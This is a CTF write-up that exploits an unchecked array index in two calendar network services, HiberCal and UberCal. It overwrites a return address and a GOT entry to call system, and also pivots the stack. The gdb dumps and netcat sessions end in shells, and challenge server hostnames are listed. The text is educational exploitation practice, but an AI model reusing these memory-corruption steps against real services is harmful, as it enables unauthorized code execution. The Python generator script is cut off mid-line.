====== CTF Tasks 2 & 4 ======
===== Task 2 =====
We start by browsing the source code and looking for a vulnerability. We immediately see this line:
calendar[allowed_day] = entry;
Here, both **allowed_day** and **entry** are controlled by us and there is no bounds checking. Thus, this is an arbitrary write to anywhere in memory. However, it's a relative rather than absolute write, which limits us to known offsets. The usual suspect for arbitrary writes is the return address. If we had a function that called **system("/bin/sh")** we could point the return address there and it would be over. Here, we only have **one** write on the stack. Let's see what is on the stack before we think of anything harder.
$ gdb ./hibercal
gdb-peda$ pdis hibercal
Dump of assembler code for function hibercal:
0x080488ec <+0>: push ebp
0x080488ed <+1>: mov ebp,esp
........
0x08048990 <+164>: call 0x80488d8
0x08048995 <+169>: mov DWORD PTR [esp],0x8048dc5
0x0804899c <+176>: call 0x80486e0
0x080489a1 <+181>: mov eax,DWORD PTR [ebp+0x8]
0x080489a4 <+184>: mov DWORD PTR [esp],eax
0x080489a7 <+187>: call 0x80486e0
0x080489ac <+192>: leave
0x080489ad <+193>: ret
End of assembler dump.
gdb-peda$ break *0x080489ad
Breakpoint 1 at 0x80489ad
gdb-peda$ set follow-fork-mode child
gdb-peda$ run 4242
Starting program: /tmp/ctf/Task2/hibercal 4242
Breakpoint 1, 0x080489ad in hibercal ()
gdb-peda$ context stack
[------------------------------------stack-------------------------------------]
0000| 0xbfffecec --> 0x8048a1c (: leave)
0004| 0xbfffecf0 --> 0xbfffed0c ("Santa_claus")
0008| 0xbfffecf4 --> 0xbfffed0c ("Santa_claus")
0012| 0xbfffecf8 --> 0xb7fff900 --> 0x0
0016| 0xbfffecfc --> 0x1
0020| 0xbfffed00 --> 0x804a060 --> 0xb7ed6930 (: cmp DWORD PTR gs:0xc,0x0)
0024| 0xbfffed04 --> 0xb7fec65c (<_dl_fixup+204>: sub esp,0x14)
0028| 0xbfffed08 --> 0xb7fffab8 --> 0xb7fffa5c --> 0xb7fdc780 --> 0xb7fff900 --> 0x0
0032| 0xbfffed0c ("Santa_claus")
0036| 0xbfffed10 ("a_claus")
0040| 0xbfffed14 --> 0x737561 ('aus')
0044| 0xbfffed18 --> 0x0
0048| 0xbfffed1c --> 0xb7eb0037 (: mov esi,DWORD PTR [ebp-0x2c])
0052| 0xbfffed20 --> 0xb7f9aa80 --> 0xfbad2088
0056| 0xbfffed24 --> 0x0
0060| 0xbfffed28 --> 0x7f
[------------------------------------------------------------------------------]
So, this is the code execution context when I entered "Santa_claus" as the name. **0x8048a1c** is the return address which we could overwrite.
Since **system** is called in another function (**no_chance**) it is also imported in the PLT. We can take the address from there and replace the return address with it.
The result would be the equivalent of **system("Santa_claus")**. And if we replace the name with "/bin/sh" we pop a shell.
We only need to know what is the offset to the return address. We write 0x41424344=1094861636 at day 0 and then compute by hand:
gdb-peda$ run 4242
Starting program: /tmp/ctf/Task2/hibercal 4242
warning: the debug information found in "/usr/lib64/debug/lib64/ld-2.17.so.debug" does not match "/lib/ld-linux.so.2" (CRC mismatch).
warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
[New process 19558]
[Switching to process 19558]
Breakpoint 1, 0x080489ad in hibercal ()
gdb-peda$ telescope $esp-4*30 50
0000| 0xbfffec74 --> 0x0
0004| 0xbfffec78 --> 0xbfffece8 --> 0xbfffed78 --> 0xbfffede8 --> 0x0
0008| 0xbfffec7c --> 0x80489ac (: leave)
0012| 0xbfffec80 --> 0xbfffed0c ("Santa_claus")
0016| 0xbfffec84 --> 0x804a08c ("DCBA")
0020| 0xbfffec88 --> 0x0
0024| 0xbfffec8c --> 0xb7e6a17b (<__overflow+75>: mov ebx,DWORD PTR [esp+0x14])
0028| 0xbfffec90 --> 0xb7f9a9e0 --> 0xfbad2887
0032| 0xbfffec94 --> 0xa ('\n')
0036| 0xbfffec98 --> 0xb7f9a9e0 --> 0xfbad2887
0040| 0xbfffec9c ("DCBA*")
0044| 0xbfffeca0 --> 0x2a ('*')
0048| 0xbfffeca4 --> 0x2a ('*')
0052| 0xbfffeca8 --> 0x2a ('*')
0056| 0xbfffecac --> 0x2a ('*')
0060| 0xbfffecb0 --> 0x2a ('*')
0064| 0xbfffecb4 --> 0x2a ('*')
0068| 0xbfffecb8 --> 0x2a ('*')
0072| 0xbfffecbc --> 0x2a ('*')
0076| 0xbfffecc0 --> 0x2a ('*')
0080| 0xbfffecc4 --> 0x2a ('*')
0084| 0xbfffecc8 --> 0x2a ('*')
0088| 0xbfffeccc --> 0x2a ('*')
0092| 0xbfffecd0 --> 0x2a ('*')
0096| 0xbfffecd4 --> 0x2a ('*')
0100| 0xbfffecd8 --> 0x2a ('*')
0104| 0xbfffecdc --> 0x10
0108| 0xbfffece0 --> 0x0
0112| 0xbfffece4 --> 0x0
0116| 0xbfffece8 --> 0xbfffed78 --> 0xbfffede8 --> 0x0
0120| 0xbfffecec --> 0x8048a1c (: leave)
0124| 0xbfffecf0 --> 0xbfffed0c ("Santa_claus")
0128| 0xbfffecf4 --> 0xbfffed0c ("Santa_claus")
0132| 0xbfffecf8 --> 0xb7fff900 --> 0x0
0136| 0xbfffecfc --> 0x1
0140| 0xbfffed00 --> 0x804a060 --> 0xb7ed6930 (: cmp DWORD PTR gs:0xc,0x0)
0144| 0xbfffed04 --> 0xb7fec65c (<_dl_fixup+204>: sub esp,0x14)
0148| 0xbfffed08 --> 0xb7fffab8 --> 0xb7fffa5c --> 0xb7fdc780 --> 0xb7fff900 --> 0x0
0152| 0xbfffed0c ("Santa_claus")
0156| 0xbfffed10 ("a_claus")
0160| 0xbfffed14 --> 0x737561 ('aus')
0164| 0xbfffed18 --> 0x0
0168| 0xbfffed1c --> 0xb7eb0037 (: mov esi,DWORD PTR [ebp-0x2c])
0172| 0xbfffed20 --> 0xb7f9aa80 --> 0xfbad2088
0176| 0xbfffed24 --> 0x0
0180| 0xbfffed28 --> 0x7f
0184| 0xbfffed2c --> 0x8048e14 --> 0x52524500 ('')
0188| 0xbfffed30 --> 0xbffff074 ("4242")
0192| 0xbfffed34 --> 0x804840c --> 0x62696c00 ('')
0196| 0xbfffed38 --> 0xb7ef6669 (: add ebx,0xa37eb)
We see our value at 0xbfffec9c and then lots of 42's and the return address at 0xbfffecec.
0xbfffecec - 0xbfffec9c = 80 = 4 * 20.
Thus, we need to write at day 20.
Let's try it.
$ gdb ./hibercal
gdb-peda$ p system
$1 = {} 0x80486f0
gdb-peda$ quit
$ python
>>> 0x80486f0
134514416
$ nc 127.0.0.1 4242
Enter your name:
/bin/sh
You are allowed to write an entry in the 16-day hibernation calendar. What will it be? Make it a good one!
Which day?
20
What do you want to write?
134514416
Goodbye
/bin/sh
date
Fri Jul 11 12:35:22 EEST 2014
===== Task 4 =====
This task is said to be more secure than the previous one. Since we have the source to both let's do a diff.
--- hibercal.c 2014-07-06 15:56:04.000000000 +0300
+++ ubercal.c 2014-07-06 15:56:28.000000000 +0300
@@ -14,7 +14,7 @@
{
printf("No chance to get here\n");
printf("But let's write it on the Wall of Fame just in case\n");
- system("date >> /tmp/wall_of_fame.txt");
+ system("date >> /tmp/wall_of_fame2.txt");
}
@@ -24,9 +24,14 @@
sleep(HIBER);
}
-void hibercal(char *name)
+void ubercal()
{
int i, calendar[HIBER];
+
+ char name[100];
+ puts("Enter your name:\n");
+ scanf("%99s", name);
+
for (i = 0 ; i < HIBER; i++)
calendar[i] = 42;
@@ -52,21 +57,12 @@
void doprocessing(int sockfd)
{
- char buf[100];
dup2(sockfd, 1);
dup2(sockfd, 0);
setbuf(stdout, NULL);
- puts("Enter your name:\n");
- scanf("%99s", buf);
- hibercal(buf);
+ ubercal();
}
-
-
-
-
-
-
int main(int argc, char **argv)
{
int optval = 1;
@@ -132,7 +128,3 @@
}
}
}
So the code is a bit rearranged. Let's test, as before, what we have on the stack at the point of "ret".
0x080489c1 <+213>: call 0x80486e0
0x080489c6 <+218>: lea eax,[ebp-0xb0]
0x080489cc <+224>: mov DWORD PTR [esp],eax
0x080489cf <+227>: call 0x80486e0
0x080489d4 <+232>: leave
0x080489d5 <+233>: ret
End of assembler dump.
gdb-peda$ break *0x080489d5
Breakpoint 1 at 0x80489d5
gdb-peda$ run 4242
Breakpoint 1, 0x080489d5 in ubercal ()
gdb-peda$ context stack
[------------------------------------stack-------------------------------------]
0000| 0xbfffed5c --> 0x8048a1c (: leave)
0004| 0xbfffed60 --> 0xb7f9a9e0 --> 0xfbad2887
0008| 0xbfffed64 --> 0x0
0012| 0xbfffed68 --> 0x8661
0016| 0xbfffed6c --> 0xbfffede8 --> 0x0
0020| 0xbfffed70 --> 0xb7f99e54 --> 0x1a6d5c
0024| 0xbfffed74 --> 0xb7f99e54 --> 0x1a6d5c
0028| 0xbfffed78 --> 0xbfffede8 --> 0x0
0032| 0xbfffed7c --> 0x8048bee (: mov DWORD PTR [esp],0x0)
0036| 0xbfffed80 --> 0x4
0040| 0xbfffed84 --> 0xbfffeda8 --> 0x9ee40002
0044| 0xbfffed88 --> 0xbfffedc8 --> 0x10
0048| 0xbfffed8c --> 0xbfffedcc --> 0x1
0052| 0xbfffed90 --> 0x4
0056| 0xbfffed94 --> 0xbfffee84 --> 0xbffff05e ("/tmp/ctf/Task4/ubercal")
0060| 0xbfffed98 --> 0xb7e03060 --> 0x2a1d
[------------------------------------------------------------------------------]
Unfortunately, rearranging the code means that the name isn't placed on the stack anymore. We need to inspect the code further:
void ubercal()
{
int i, calendar[HIBER];
char name[100];
puts("Enter your name:\n");
scanf("%99s", name);
for (i = 0 ; i < HIBER; i++)
calendar[i] = 42;
if (allowed_day == 0) {
printf("You are allowed to write an entry in the %d-day hibernation calendar. What will it be? Make it a good one!\n", HIBER);
puts("Which day?");
scanf("%d", &allowed_day);
puts("What do you want to write?");
scanf("%d", &entry);
} else {
puts("You already wrote in my calendar");
}
calendar[allowed_day] = entry;
process_calendar(calendar);
puts("Goodbye");
puts(name); // <=========================
}
Notice **puts(name)**. Can we replace **puts** with **system**? Let's remember how **puts** works:
gdb-peda$ context code
[-------------------------------------code-------------------------------------]
0x80488e5 : call 0x80486a0
0x80488ea : leave
0x80488eb : ret
0x80488ec : push ebp
0x80488ed : mov ebp,esp
0x80488ef : sub esp,0xc8
0x80488f5 : mov DWORD PTR [esp],0x8048d0b
=> 0x80488fc : call 0x80486e0
0x8048901 : lea eax,[ebp-0xb0]
0x8048907 : mov DWORD PTR [esp+0x4],eax
0x804890b : mov DWORD PTR [esp],0x8048d1d
0x8048912 : call 0x8048760 <__isoc99_scanf@plt>
0x8048917 : mov DWORD PTR [ebp-0xc],0x0
0x804891e : jmp 0x804892f
0x8048920 : mov eax,DWORD PTR [ebp-0xc]
0x8048923 : mov DWORD PTR [ebp+eax*4-0x4c],0x2a
Guessed arguments:
arg[0]: 0x8048d0b ("Enter your name:\n")
[------------------------------------------------------------------------------]
gdb-peda$ si
gdb-peda$ context code
[-------------------------------------code-------------------------------------]
0x80486bb : jmp 0x8048640
0x80486c0 : jmp DWORD PTR ds:0x804a028
0x80486c6 : push 0x38
0x80486cb : jmp 0x8048640
0x80486d0 : jmp DWORD PTR ds:0x804a02c
0x80486d6 : push 0x40
0x80486db : jmp 0x8048640
=> 0x80486e0 : jmp DWORD PTR ds:0x804a030
| 0x80486e6 : push 0x48
| 0x80486eb : jmp 0x8048640
| 0x80486f0 : jmp DWORD PTR ds:0x804a034
| 0x80486f6 : push 0x50
| 0x80486fb : jmp 0x8048640
| 0x8048700 <__gmon_start__@plt>: jmp DWORD PTR ds:0x804a038
| 0x8048706 <__gmon_start__@plt+6>: push 0x58
| 0x804870b <__gmon_start__@plt+11>: jmp 0x8048640
|-> 0x80486e6 : push 0x48
0x80486eb : jmp 0x8048640
0x80486f0 : jmp DWORD PTR ds:0x804a034
0x80486f6 : push 0x50
0x80486fb : jmp 0x8048640
0x8048700 <__gmon_start__@plt>: jmp DWORD PTR ds:0x804a038
0x8048706 <__gmon_start__@plt+6>: push 0x58
0x804870b <__gmon_start__@plt+11>: jmp 0x8048640
JUMP is taken
[------------------------------------------------------------------------------]
gdb-peda$ telescope 0x804a030
0000| 0x804a030 --> 0x80486e6 (: push 0x48)
0004| 0x804a034 --> 0x80486f6 (: push 0x50)
It uses the PLT/GOT mechanism as we discussed in previous sessions. It uses a table of function pointers that initially point back in the program to a resolution procedure. After being called once the function pointers are **written** with the correct address. So the table is writable! We can write the address of system into puts.
But hold on! This would require an absolute arbitrary write while we only have a relative arbitrary write. Can we still solve it? In this case yes, as the keen observer would see that both Tasks 2 & 4 run on the same machine:
* Task 2: HiberCal => exploit task (source provided) **150 points**
* ec2-54-76-236-87.eu-west-1.compute.amazonaws.com 31337
* Task 4: UberCal => harder exploit, variation on task 2 **300 points**
* ec2-54-76-236-87.eu-west-1.compute.amazonaws.com 31338
How does that help us? The analogy is the following:
We have an arbitrary write at **X + 4 * Y = Z**. We control Y but we don't know X. What about Z?
Remember good old Segmentation Fault! If we acess an invalid memory address the program receives SEGV and is killed by the kernel. The kernel also logs to **dmesg** the location of the invalid address. But we have access to **dmesg** on that machine since we solved the previous challenge.
$ nc 127.0.0.1 4242
Enter your name:
test
You are allowed to write an entry in the 16-day hibernation calendar. What will it be? Make it a good one!
Which day?
-100000
What do you want to write?
1
$ dmesg|tail -1
ubercal[23403]: segfault at bff9d2ac ip 00000000080489ab sp 00000000bfffecb0 error 6 in ubercal[8048000+1000]
So Z = 0xbff9d2ac, Y = -100000. It's trivial to solve for X: 0xbfffed4c
If you followed everything so far you know we have all we need for the exploit.
Writing to Z=0x804a030 requires us to use Y= (0x804a030-0xbfffed4c)/4 = -771674951. The value to be written can be the one from system (0x80486f6)
$ nc 127.0.0.1 4242
Enter your name:
/bin/sh
You are allowed to write an entry in the 16-day hibernation calendar. What will it be? Make it a good one!
Which day?
-771674951
What do you want to write?
134514422
date
Fri Jul 11 13:06:50 EEST 2014
Works as expected!
==== Solving using Paul's idea (stack pivoting) ====
During the CTF Paul mentioned that he sees the solution as corrupting the stack frame so that when the function returns you get more "room" where to write both **system** and its argument.
It's a much more difficult solution but doable. Let's try it.
The whole idea is to use the **leave** and **ret** set of instructions to do some magic.
**leave** esentially does
mov esp, ebp
pop ebp
So the top of the stack now points to the saved ebp and ebp is restored from this new top of the stack.
Remember that we can overwrite the return address. But we can also overwrite the saved ebp just as well.
If we replace ebp with 0x41424344 only the ebp will change. Remember that we would like a primitive that does **mov esp, ARBITRARY**.
Luckily, immediately after **leave** and **ret** the next set of instructions is another **leave** and **ret**.
So the context is the following:
Initially: ESP = old_esp, EBP = current_ebp, saved_ebp = our_input
After leave part1 (mov esp, ebp): ESP = current_ebp EBP = current_ebp, saved_ebp = our_input
After leave part2 (pop ebp): ESP = current_ebp + 4 EBP = saved_ebp = our_input
After return: ESP = current_ebp + 8 EBP = our_input
After leave part1 (mov esp, ebp): ESP = our_input, EBP = our_input
After leave part2 (pop ebp): ESP = our_input + 4 EBP= first 4 bytes at the address "our_input"
After return: ESP = our_input + 8 EIP=bytes 4:7 at the address "our_input" EBP= first 4 bytes at the address "our_input"
We can control EIP with bytes 4:7 and the stack as well.
We can reuse the instruction at 0x080488d1:
0x080488ca <+30>: mov DWORD PTR [esp],0x8048cec
0x080488d1 <+37>: call 0x80486f0
We see the call to **system** expects the parameter to be right on the top of the stack.
Our payload should now be like this:
00: value of our_input
04: 0x080488d1 (call to system)
08: address that holds the command given to system
0c: ????
Since the only buffer we control is the name we want the following:
name+00 : address of name
name+04 : 0x080488d1 (call to system)
name+08 : address of name+0c
name+0c : the actual command
All we need now is to find out the address of the **name** buffer. We have the following snippets:
0x080489c6 <+218>: lea eax,[ebp-0xb0]
0x080489cc <+224>: mov DWORD PTR [esp],eax
0x080489cf <+227>: call 0x80486e0
0x080489af <+195>: lea eax,[ebp-0x4c]
0x080489b2 <+198>: mov DWORD PTR [esp],eax
0x080489b5 <+201>: call 0x80488d8
So
name = ebp - 0xb0
calendar = ebp - 0x4c
name - calendar = - 0xb0 + 0x4c = -100
name = calendar - 100
But we already know the address of **calendar** from before. It's X from the previous solution using dmesg.
The only thing that remains is to pass the value of ebp correctly. Since **allowed_day** is declared as a signed integer we need to convert it.
The full python script is:
#!/usr/bin/python
import struct,sys;
segv_addr = 0xbff9dc5c
calendar_addr = segv_addr + 100000 * 4
buffer_addr = calendar_addr - 100
val = struct.unpack("
And now we try it:
$ cat <(python gen_input.py) - | nc 127.0.0.1 4242
Enter your name:
Use 19 and -1073746712 as input
You are allowed to write an entry in the 16-day hibernation calendar. What will it be? Make it a good one!
Which day?
19
What do you want to write?
-1073746712
Goodbye
èìÿ¿ôìÿ¿/bin/sh
date
Fri Jul 11 13:50:37 EEST 2014
ls
Makefile
README
ubercal
ubercal.c